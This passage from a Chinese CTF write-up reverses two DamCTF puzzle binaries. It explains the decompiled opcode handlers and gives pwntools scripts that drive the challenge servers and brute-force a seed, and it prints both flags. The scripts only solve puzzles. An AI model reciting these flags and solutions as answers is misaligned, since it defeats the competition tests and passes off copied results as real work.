if ( v35 != v36 )
operator delete(v35, v36[0] + 1LL);
v32[0] = &x6;
std::locale::~locale((std::locale *)v33);
p_x4 = (_QWORD *)p__ZSt3cin_0;
*(_QWORD **)((char *)&p_x4 + *(_QWORD *)(p__ZSt3cin_0 - 24LL)) = (_QWORD *)x3;
x1 = (char *)::x1;
*(_QWORD *)((char *)&v32[-1] + *(_QWORD *)(::x1 - 24LL)) = x2;
p_x4 = (_QWORD *)p__ZSt3cin;
*(_QWORD **)((char *)&p_x4 + *(_QWORD *)(p__ZSt3cin - 24LL)) = (_QWORD *)x0;
v30 = 0;
v37[0] = &x8;
std::ios_base::~ios_base((std::ios_base *)v37);
if ( v26 != v28 )
operator delete(v26, v28[0] + 1LL);
if ( s1_1[0] != v25 )
operator delete(s1_1[0], v25[0] + 1LL);
if ( s1[0] != v23 )
operator delete(s1[0], v23[0] + 1LL);
if ( p_n10_1[0] != v21 )
operator delete(p_n10_1[0], v21[0] + 1LL);
if ( p_n10 != v19 )
operator delete(p_n10, v19[0] + 1LL);
return byte5;
}

发现是一个输入逻辑分发函数,先初始化了两个量,打印“>”后读取输入,将其转换为整数,按4、5、6、7、9、10、11、13、15和00111111分配不同作用的函数,其中00111111是查看当前产生的字节,发现有:

输入值/控制函数 作用
4 写入字符“f”
5 对最后一个字符-1
6 对最后一个字符+3
7 写入字符“a”
9 写入字符“z”
10 写入字符“m”
11 将最后一个字符改为“t”
13 删除最后一个字符
15 写入字符“r”
第8步(func1) 写入字符“g”

由于要构造的字符串为inagalaxyfarfaraway,所以应该输入的trace为:

步骤 字节码 结果
1 4 f
2 6 i
3 10 im
4 6 ip
5 5 io
6 5 in
7 7 ina
8 func1 inag
9 7 inaga
10 10 inagam
11 5 inagal
12 7 inagala
13 9 inagalaz
14 5 inagalay
15 5 inagalax
16 9 inagalaxz
17 5 inagalaxy
18 4 inagalaxyf
19 7 inagalaxyfa
20 15 inagalaxyfar
21 4 inagalaxyfarf
22 7 inagalaxyfarfa
23 15 inagalaxyfarfar
24 7 inagalaxyfarfara
25 15 inagalaxyfarfarar
26 6 inagalaxyfarfarau
27 6 inagalaxyfarfarax
28 5 inagalaxyfarfaraw
29 7 inagalaxyfarfarawa
30 9 inagalaxyfarfarawaz
31 5 inagalaxyfarfaraway

综上,编写pwntools脚本和服务器交互:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

host = "isitdata.chals.damctf.xyz"
port = 39531

payloads = [
"4", "6", "10", "6", "5", "5", "7", "7", "10", "5",
"7", "9", "5", "5", "9", "5", "4", "7", "15", "4",
"7", "15", "7", "15", "6", "6", "5", "7", "9", "5"
]

conn = remote(host, port)

initial = conn.recvuntil(b">", timeout=5)
# print(initial.decode())

for i, payload in enumerate(payloads):
print(f"[+] Sending: {payload}")
conn.sendline(payload.encode())

if i < len(payloads) - 1:
#print("[+] Waiting for '>' prompt...")
response = conn.recvuntil(b">", timeout=5)
else:
final_output = conn.recvall(timeout=5).decode()
print("\n[+] Final output: ")
print(final_output)
break
conn.close()

flag:dam{I_dont_like_silicon_it_makes_cpus_and_theyre_everywhere}.

It’s data, not data.

和上一题差不多,查看init:

1
2
3
4
5
6
7
8
9
int init()
{
cipher = (__int64)algn_72D0;
std::string::_M_construct<char const*>(&cipher, "episode3,57min34sec", (__int64)"");
__cxa_atexit((void (*)(void *))&std::string::~string, &cipher, &dso_handle);
obj__0 = (__int64)&qword_72B0;
std::string::_M_construct<char const*>(&obj__0, "", (__int64)"");
return __cxa_atexit((void (*)(void *))&std::string::~string, &obj__0, &dso_handle);
}

这次要构造的输入是episode3,57min34sec,查看main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
func1(a1, a2, a3);
while ( 1 )
{
do
{
calls();
checkturns();
}
while ( !(unsigned __int8)getinput() );
LODWORD(turns) = turns + 1;
if ( (unsigned __int8)check() )
giveflag();
}
}

func1应该是某种初始化,运行程序进行测试:

1
2
3
Move Number: 1 of 100
Target : episode3,57min34sec
Current: 5&ro4Cw}N)ZFhBQN<~2

发现第一次输入的内容会按某种方式生成一个看似随机的字符串,之后需要在这个字符串上做修改,查看func1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
unsigned __int64 func1()
{
__int64 v0; // rax
_BYTE *v1; // rbx
char n32; // dl
int v3; // ebx
int v4; // r14d
unsigned int valEv; // eax
int v6; // r12d
unsigned __int64 n15; // rax
char v8; // bp
__int64 v9; // r9
__int64 n15_2; // rbx
unsigned __int64 n15_1; // r13
int i; // ebx
int v13; // eax
int v14; // eax
__int64 v16; // [rsp+0h] [rbp-13F8h] BYREF
__int64 v17; // [rsp+8h] [rbp-13F0h] BYREF
void *v18[2]; // [rsp+10h] [rbp-13E8h] BYREF
_QWORD v19[2]; // [rsp+20h] [rbp-13D8h] BYREF
_QWORD v20[115]; // [rsp+30h] [rbp-13C8h] BYREF
unsigned __int64 v21; // [rsp+13B8h] [rbp-40h]

v21 = __readfsqword(0x28u);
v18[0] = v19;
v18[1] = 0;
LOBYTE(v19[0]) = 0;
v0 = *(_QWORD *)(std::cin[0] - 24);
v1 = *(_BYTE **)((char *)&std::cin[30] + v0);
if ( !v1 )
std::__throw_bad_cast();
if ( v1[56] )
{
n32 = v1[67];
}
else
{
std::ctype<char>::_M_widen_init(*(__int64 *)((char *)&std::cin[30] + v0));
n32 = (*(__int64 (__fastcall **)(_BYTE *, __int64))(*(_QWORD *)v1 + 48LL))(v1, 10);
}
std::getline<char,std::char_traits<char>,std::allocator<char>>(std::cin, v18, (unsigned int)n32);
v3 = qword_72C8;
v4 = qword_72C8;
valEv = stoi((__int64 (__fastcall *)(__int64, _QWORD *, _QWORD))&_isoc23_strtol, "stoi", (__int64)v18[0], 0, 0xAu);
calc1(v20, valEv);
v16 = 0x7E00000021LL;
LODWORD(v17) = 0;
HIDWORD(v17) = qword_72C8 - 1;
if ( v3 > 0 )
{
v6 = 0;
do
{
v8 = calc4((__int64)&v16, (__int64)v20, (int *)&v16);
n15_2 = n15_0;
n15_1 = n15_0 + 1;
if ( (__int64 *)obj__0 == &::n15 )
n15 = 15;
else
n15 = ::n15;
if ( n15 < n15_1 )
std::string::_M_mutate(&obj__0, n15_0, 0, 0, 1, v9, v16, v17);
*(_BYTE *)(obj__0 + n15_2) = v8;
n15_0 = n15_1;
*(_BYTE *)(obj__0 + n15_2 + 1) = 0;
++v6;
}
while ( v4 != v6 );
}
for ( i = 0; ; ++i )
{
v14 = stoi((__int64 (__fastcall *)(__int64, _QWORD *, _QWORD))&_isoc23_strtol, "stoi", (__int64)v18[0], 0, 0xAu);
if ( v14 % 5 <= i )
break;
v13 = calc4((__int64)&v17, (__int64)v20, (int *)&v17);
*(_BYTE *)(obj__0 + v13) = *(_BYTE *)(obj_ + v13);
}
if ( v18[0] != v19 )
operator delete(v18[0], v19[0] + 1LL);
return v21 - __readfsqword(0x28u);
}

发现func1是需要用户提供随机数种子,然后用mt19937算法变体生成一个19字节的随机字符串,编写脚本提取0~20万的返回值,评估出最优字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

context.log_level = 'error'
binary_path = './chal'

def get_current_line(seed):
p = process(binary_path)
p.sendline(str(seed).encode())

current_line = None
while True:
try:
line = p.recvline().decode('utf-8', errors='ignore')
if "Current:" in line:
current_line = line.strip().replace("Current: ", "")
break
except EOFError:
break

p.close()
return current_line

def main():
a = int(input("Enter start seed (a): "))
b = int(input("Enter end seed (b): "))

filename = f"output{a}~{b}.txt"

with open(filename, 'w') as f:
for seed in range(a, b):
current = get_current_line(seed)
line = f"{seed}, {current}"
print(line)
f.write(line + '\n')

print(f"[+] Output saved to {filename}")

if __name__ == "__main__":
main()

评估:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import glob

target_str = "episode3,57min34sec"

def calculate_score(current_str, target_str):
score = 0
min_len = min(len(current_str), len(target_str))
for i in range(min_len):
score += abs(ord(current_str[i]) - ord(target_str[i]))
score += abs(len(current_str) - len(target_str)) * 256
return score

def main():
best_seed = None
best_score = float('inf')
best_current_str = ""
files = glob.glob("output*.txt")
for file_name in files:
print(file_name)
with open(file_name, 'r') as f:
lines = f.readlines()

for line in lines:
parts = line.strip().split(", ")
if len(parts) != 2:
continue

seed, current_str = parts
seed = int(seed)
score = calculate_score(current_str, target_str)
if score < best_score:
best_score = score
best_seed = seed
best_current_str = current_str

print(f"Seed: {seed}, Current: {current_str}, Score: {score}")

print(f"\nBest Seed: {best_seed}, Best Current String: {best_current_str}, Best Score: {best_score}")

if __name__ == "__main__":
main()

得到最佳初始str:

Best Seed: 47863, Best Current String: sg^bsdf+"*7~yZ4>{ac, Best Score: 161

calls函数负责打印出现的面板:

call1: 打印当前步数和最大步数
call2: 打印目标字符串
call3: 打印当前字符串
call4: 打印下面的横线和提示符 >

接下来查看每个字节码的作用:

输入值 作用
2 对当前字节增加3~5的随机整数
3 对当前字节减去1~3随机整数
7 修改索引为7的字节为7
8 将当前字节与其后第二个字节交换
9 将当前字节与其前第一个字节交换
15 将当前字符改为“G”
19 将当前字符改为“c”
22 将当前字符改为“;”
24 将当前字符改为“q”
57 将当前字符改为“W”

发现没有提供可以改变当前字节指向位置的函数,其始终指向19个字节的最中间的字节,查找xref后发现有两个函数可以改变cursor的位置,这些函数在getinput中被调用但是无法显式查看,猜测是某种异常处理机制,查看汇编后发现,如果输入内容是l就可以实现指针左移,是r就可以实现右移,并且不消耗步数,接下来构造自动化payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
import re
from pwn import *
import sys

remote_host = "itsdatanotdata.chals.damctf.xyz"
remote_port = 39531

target_str = "episode3,57min34sec"
preset_chars = {
'G': 15,
'c': 19,
';': 22,
'q': 24,
'W': 57
}

def calculate_closest_char(current_char, target_char):
closest_char = None
min_diff = float('inf')
for ch in preset_chars:
diff = abs(ord(ch) - ord(target_char))
if diff < min_diff:
min_diff = diff
closest_char = ch
return closest_char, min_diff

def read_current_string(io):
buffer = b""
while True:
chunk = io.recv(timeout=0.5)
if not chunk:
continue
buffer += chunk
print(chunk.decode('utf-8', errors='ignore'), end='')
ansi_escape = re.compile(
rb'(?:\x1B[@-Z\\-_]|[\x08\x0D]|\x1B$$[0-9;]*m)')
clean_buffer = ansi_escape.sub(
b'', buffer).decode('utf-8', errors='ignore')
lines = clean_buffer.splitlines()
current_lines = [line for line in lines if "Current:" in line]
if current_lines:
full_line = current_lines[-1].strip()
start_idx = full_idx = full_line.find(":") + 1
current_str = full_line[start_idx:].strip().split()[0]
return current_str

def main():
io = remote(remote_host, remote_port)
print("[*] Sending init seed: 47863")
io.sendline(b"47863")

for i in range(9):
print(f"[*] Sending 'l' ({i+1}/9)")
io.sendline(b"l")

for i in range(len(target_str)):
target_char = target_str[i]

while True:
try:
current_str = read_current_string(io)
except EOFError:
print("\n[!] Connection closed by server. Exiting.")
sys.exit()

if current_str is None:
continue

if i >= len(current_str):
continue

current_char = current_str[i]
print(
f"\nProcessing char {i}: Target '{target_char}', Current '{current_char}'")

if current_str == target_str:
print("\n[✓] Full match detected. Exiting.")
io.close()
sys.exit()

if current_char == target_char:
print(
f"[✓] Matched '{target_char}', moving to next character.")
io.sendline(b"r")
break

closest_char, closest_diff = calculate_closest_char(
current_char, target_char)
current_diff = abs(ord(current_char) - ord(target_char))

if closest_char and closest_diff < current_diff:
cmd = str(preset_chars[closest_char]).encode()
print(
f"[+] Using preset char '{closest_char}' via command {cmd}")
io.sendline(cmd)
continue

if ord(current_char) < ord(target_char):
print("[+] Sending command 2 (+)")
io.sendline(b"2")
else:
print("[-] Sending command 3 (-)")
io.sendline(b"3")

print("\n[+] All characters matched!")
io.interactive()

if __name__ == "__main__":
main()

flag:dam{git_branch_origin._you_are_a_pulled_one}.